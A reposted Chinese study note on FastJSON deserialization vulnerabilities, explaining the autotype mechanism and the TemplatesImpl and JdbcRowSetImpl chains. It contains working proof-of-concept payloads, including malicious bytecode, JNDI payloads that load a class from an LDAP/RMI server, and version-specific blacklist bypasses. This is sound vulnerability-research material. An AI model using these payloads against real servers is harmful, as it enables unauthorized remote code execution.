FastJSON反序列化學習


反序列化漏洞例子

0x00、fastJSON練習

參考上面的鏈接,寫一個類,並用fastJSON序列化。查閱API,fastJSON的序列化函數有:

public abstract class JSON {
    // 將Java對象序列化為JSON字符串,支持各種各種Java基本類型和JavaBean
    public static String toJSONString(Object object, SerializerFeature... features);

    // 將Java對象序列化為JSON字符串,返回JSON字符串的utf-8 bytes
    public static byte[] toJSONBytes(Object object, SerializerFeature... features);

    // 將Java對象序列化為JSON字符串,寫入到Writer中
    public static void writeJSONString(Writer writer, 
                                       Object object, 
                                       SerializerFeature... features);

    // 將Java對象序列化為JSON字符串,按UTF-8編碼寫入到OutputStream中
    public static final int writeJSONString(OutputStream os, // 
                                            Object object, // 
                                            SerializerFeature... features);
}

關鍵就在SerializerFeature...
SerializerFeature.WriteClassName是JSON.toJSONString()中的一個設置屬性值,設置之后在序列化的時候會多寫入一個@type,即寫上被序列化的類名,type可以指定反序列化的類,並且調用其getter/setter/is方法,而問題恰恰出現在了這個特性,我們可以配合一些存在問題的類,然后繼續操作,造成RCE的問題。

反序列化的方法主要是

package com.alibaba.fastjson;

public abstract class JSON {
    public static <T> T parseObject(InputStream is, //
                                    Type type, //
                                    Feature... features) throws IOException;

    public static <T> T parseObject(InputStream is, //
                                    Charset charset, //
                                    Type type, //
                                    Feature... features) throws IOException;
}

和JSON.parse,最主要的區別就是parseObject未指定目標類的前提下返回的是 JSONObject ,而JSON.parse返回的是實際類型的對象。

parseObject() 本質上也是調用 parse() 進行反序列化的。但是 parseObject() 會額外的將Java對象轉為 JSONObject對象,即 JSON.toJSON()。

所以進行反序列化時的細節區別在於,parse() 會識別並調用目標類的 setter 方法及某些特定條件的 getter 方法,而 parseObject() 由於多執行了 JSON.toJSON(obj),因此在處理過程中會調用反序列化目標類的所有 setter 和 getter 方法。

Feature.SupportNonPublicField的使用

fastJSON默認情況下是不會反序列化私有屬性的,如果需要對私有屬性進行反序列化,則需要在parseObject()函數添加一個屬性Feature.SupportNonPublicField。
Fastjson會對滿足下列要求的setter/getter方法進行調用,

注意: 不是對存在成員變量的set/get方法的調用,而是直接通過以下方法的特點判斷,只要函數名,參數,返回值等滿足下面的條件,parseObject()和parse()就會自動調用這些方法

滿足條件的setter:

  • 函數名長度大於4且以set開頭
  • 非靜態函數
  • 返回類型為void或當前類
  • 參數個數為1個

滿足條件的getter:

  • 函數名長度大於等於4
  • 非靜態方法
  • 以get開頭且第4個字母為大寫
  • 無參數
  • 返回值類型繼承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

0x01 漏洞原理

fastJSON在反序列化時,可能會將目標類的構造函數、getter方法、setter方法、is方法執行一遍,如果此時這四個方法中有危險操作,則會導致反序列化漏洞,也就是說攻擊者傳入的序列化數據中需要目標類的這些方法中要存在漏洞才能觸發。

我們知道fastjson使用parseObject()/parse()進行反序列化的時候可以指定類型。有兩種情況我們有可乘之機:

  1. 程序員自己實現的類中就包含了這種危險操作,那就可以直接利用了;
  2. 反序列化指定的類型太大,包含了很多子類,並且在不在反序列化的黑名單內,極端情況,如Object或JSONObject,像Object o = JSON.parseObject(poc,Object.class)就可以反序列化出來任意類,這種情況下,帶有危險操作的類就相當可觀了。

0x02 歷史漏洞分析

一、影響版本1.2.22-1.2.24

分析

寫一個惡意類,打開計算器,打開計算器類為什么這樣寫,后面解釋

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class EvilPayload extends AbstractTranslet {
    public EvilPayload() throws IOException {
        Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
    }
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    public static void main(String[] args) throws IOException {
        EvilPayload t = new EvilPayload();
    }
}

創建一個類,作為漏洞入口,關鍵在於JSON.parseObject參數可控,這里直接寫在代碼里
poc核心代碼:

public static void main(String[] args) {
        com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl Temp = new TemplatesImpl();
        ParserConfig config = new ParserConfig();
        // 這里取的是惡意類生成的class文件
        // 另外有一個函數讀取字節碼並base64編碼
        final String evilClassPath = System.getProperty("user.dir") + System.getProperty("file.separator") + "fastJSON/target/classes/fastjson/EvilPayload.class";;
        // evilCode是base64的惡意類的字節碼
        String evilCode = readClass(evilClassPath);
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +
                "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
        System.out.println(text1);

        JSON.parseObject(text1, Object.class, Feature.SupportNonPublicField);
    }

這段拼接分析一下,前面已經知道type是指定類名,后面一個字段是指定成員變量的值,所以這個poc翻譯一下就是反序列化成com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl這個類,_bytecodes這個成員變量的值是惡意類的字節碼經過base64編碼之后的字符串,還有另外幾個參數對應的值。目前知道這么多即可。

其中,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl為是那個帶有危險操作的類,經過base64編碼的payload會經過私有屬性_bytecodes傳遞給_outputProperties函數,從而導致命令執行。另外,在defineTransletClasses()時會調用getExternalExtensionsMap(),當為null時會報錯,所以要對_tfactory設置

生成的poc為:

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAMgoABwAkCgAlACYIACcKACUAKAcAKQoABQAkBwAqAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABZMZmFzdGpzb24vRXZpbFBheWxvYWQ7AQAKRXhjZXB0aW9ucwcAKwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACwBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAFlAQAKU291cmNlRmlsZQEAEEV2aWxQYXlsb2FkLmphdmEMAAgACQcALQwALgAvAQAob3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAwAMAAxAQAUZmFzdGpzb24vRXZpbFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAsAAAAOAAMAAAAMAAQADQANAA4ADAAAAAwAAQAAAA4ADQAOAAAADwAAAAQAAQAQAAEAEQASAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAASAAwAAAAgAAMAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAFQAWAAIADwAAAAQAAQAXAAEAEQAYAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAXAAwAAAAqAAQAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAGQAaAAIAAAABABsAHAADAA8AAAAEAAEAFwAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAaAAgAGwAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAQAAEAIgAAAAIAIw=="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}

調試

同時學習了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl利用鏈

下面調試:

一步一步調試比較復雜,可以參考最上面的鏈接。簡單方法,這個利用鏈是用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,這個是jdk自帶的類,直接打開源碼,在這個類中下斷點,可以從調用棧中看到是從setValue:85, FieldDeserializer 通過反射調用了getOutputProperties()函數,從而進入TemplatesImpl

關鍵部分是defineTransletClasses()函數
博主測試沒有給出JDK版本,在他的版本中

我的版本是JDK是8u20,並沒有這個參數:

但是為了兼容性,payload中肯定要帶_tfactory參數並初始化為{}
另外還校驗了父類是不是AbstractTranslet類,所以payload類要繼承AbstractTranslet。

也就是說,凡是用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl這個利用鏈的,需要盡量給_tfactory賦值,而且惡意類要繼承AbstractTranslet,如果是fastjson漏洞,必須滿足帶有Feature.SupportNonPublicField這個才能執行
defineTransletClasses()執行完后回到getTransletInstance(),會調用newInstence()方法,實例化對象,就調用到了構造函數,執行了惡意代碼。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 利用鏈原理分析結束。

簡而言之,TemplatesImpl先把要加載的class的字節碼賦值給_bytecodes成員變量,然后調用getOutputProperties()即可執行

JDNI利用鏈

從前一節已經知道了漏洞觸發點,前提條件是:

  1. 接口接收一個JSON序列化后的數據(或者說反序列化數據可控),且在反序列化的時候有Feature.SupportNonPublicField這個參數。
  2. fastjson版本在利用范圍內。
    某些情況下上面的利用鏈不能用,就考慮使用JDNI利用鏈

基於RMI利用的JDK版本<=6u141、7u131、8u121,基於LDAP利用的JDK版本<=6u211、7u201、8u191。
最常用利用鏈com.sun.rowset.JdbcRowSetImpl,需要設置autoCommit為true,賦值的這兩個都是存在set/get函數,但不是私有屬性,所以不需要eature.SupportNonPublicField
payload

 {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/EvilClass", "autoCommit":true}
  {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1099/EvilClass", "autoCommit":true}
```
需要一個RMI/LDAP的注冊表服務器和一個http服務器獲取文件
```
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:6666/#EvilClass 6099
python3 -m http.server 6666
```

二、不同版本的繞過

把pom.xml中的fastjson版本切換為1.2.41,調試發現增加了一個checkAutoType函數校驗類名,代碼如下:

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        if (typeName == null) {
            return null;
        } else if (typeName.length() >= 128) {
            throw new JSONException("autoType is not support. " + typeName);
        } else {
            String className = typeName.replace('$', '.');
            Class<?> clazz = null;
            int mask;
            String accept;
            if (this.autoTypeSupport || expectClass != null) {
                for(mask = 0; mask < this.acceptList.length; ++mask) {
                    accept = this.acceptList[mask];
                    if (className.startsWith(accept)) {
                        clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                        if (clazz != null) {
                            return clazz;
                        }
                    }
                }

                for(mask = 0; mask < this.denyList.length; ++mask) {
                    accept = this.denyList[mask];
                    if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }
            }

            if (clazz == null) {
                clazz = TypeUtils.getClassFromMapping(typeName);
            }

            if (clazz == null) {
                clazz = this.deserializers.findClass(typeName);
            }

            if (clazz != null) {
                if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                } else {
                    return clazz;
                }
            } else {
                if (!this.autoTypeSupport) {
                    for(mask = 0; mask < this.denyList.length; ++mask) {
                        accept = this.denyList[mask];
                        if (className.startsWith(accept)) {
                            throw new JSONException("autoType is not support. " + typeName);
                        }
                    }

                    for(mask = 0; mask < this.acceptList.length; ++mask) {
                        accept = this.acceptList[mask];
                        if (className.startsWith(accept)) {
                            if (clazz == null) {
                                clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                            }

                            if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                            }

                            return clazz;
                        }
                    }
                }

                if (clazz == null) {
                    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                }

                if (clazz != null) {
                    if (TypeUtils.getAnnotation(clazz, JSONType.class) != null) {
                        return clazz;
                    }

                    if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }

                    if (expectClass != null) {
                        if (expectClass.isAssignableFrom(clazz)) {
                            return clazz;
                        }

                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }

                    JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, this.propertyNamingStrategy);
                    if (beanInfo.creatorConstructor != null && this.autoTypeSupport) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }

                mask = Feature.SupportAutoType.mask;
                boolean autoTypeSupport = this.autoTypeSupport || (features & mask) != 0 || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
                if (!autoTypeSupport) {
                    throw new JSONException("autoType is not support. " + typeName);
                } else {
                    return clazz;
                }
            }
        }
    }

增加了黑白名單,低版本白名單需要自己設置 默認為空,黑名單在1.2.41如下:

該函數還引入了一個參數autoTypeSupport,默認為false:

  • 當autoTypeSupport為true時,先進行白名單過濾,匹配成功即可加載該類並返回;否則進行黑名單過濾,匹配成功直接報錯;兩者皆未匹配成功,則加載該類
  • 當autoTypeSupport為false時,先進行黑名單過濾,匹配成功直接報錯;再匹配白名單,匹配成功即可加載該類並返回;兩者皆未匹配成功,則報錯

將autoTypeSupport設置為True有兩種方法:

  • JVM啟動參數:-Dfastjson.parser.autoTypeSupport=true
  • 代碼中設置:ParserConfig.getGlobalInstance().setAutoTypeSupport(true);,如果有使用非全局ParserConfig則用另外調用setAutoTypeSupport(true);

AutoType白名單設置方法:

  • JVM啟動參數:-Dfastjson.parser.autoTypeAccept=com.xx.a.,com.yy.
  • 代碼中設置:ParserConfig.getGlobalInstance().addAccept(“com.xx.a”);
  • 通過fastjson.properties文件配置。在1.2.25/1.2.26版本支持通過類路徑的fastjson.properties文件來配置,配置方式如下:fastjson.parser.autoTypeAccept=com.taobao.pac.client.sdk.dataobject.,com.cainiao.

繞過 適用於1.2.25-1.2.41

為了繞過,來看1.2.25-1.2.41的繞過
payload 只適用於autoTypeSupport為true

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://127.0.0.1:6099/EvilClass", "autoCommit":true}

多了一個L,當autoTypeSupport為true時,白名單和黑名單都不匹配,可以成功利用,但在autoTypeSupport為false時,都不匹配會報錯。autoTypeSupport默認為false

繞過 適用於1.2.25-1.2.43

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://127.0.0.1:6099/EvilClass", "autoCommit":true}

繞過 適用於1.2.25-1.2.42

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:6099/EvilClass", "autoCommit":true}

繞過 適用於1.2.25-1.2.45,需要存在mybatis的jar包

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://127.0.0.1:6099/EvilClass"}}

三、影響版本1.2.25-1.2.47

利用鏈基於RMI利用的JDK版本<=6u141、7u131、8u121,基於LDAP利用的JDK版本<=6u211、7u201、8u191
實際上是另一種繞過上面黑白名單的思路,用一個map數組,傳入兩組序列化數據,第一組在白名單中,然后把第二組添加到緩存,讓第二組也能繞過黑白名單,payload

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://127.0.0.1:6099/EvilClass",
        "autoCommit":true
    }
}

注意,這個payload根據AutoTypeSupport模式的不同,能影響的版本也不同
在1.2.25-1.2.32版本:未開啟AutoTypeSupport時能成功利用,開啟AutoTypeSupport反而不能成功觸發;
在1.2.33-1.2.47版本:無論是否開啟AutoTypeSuppt,都能成功利用;


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM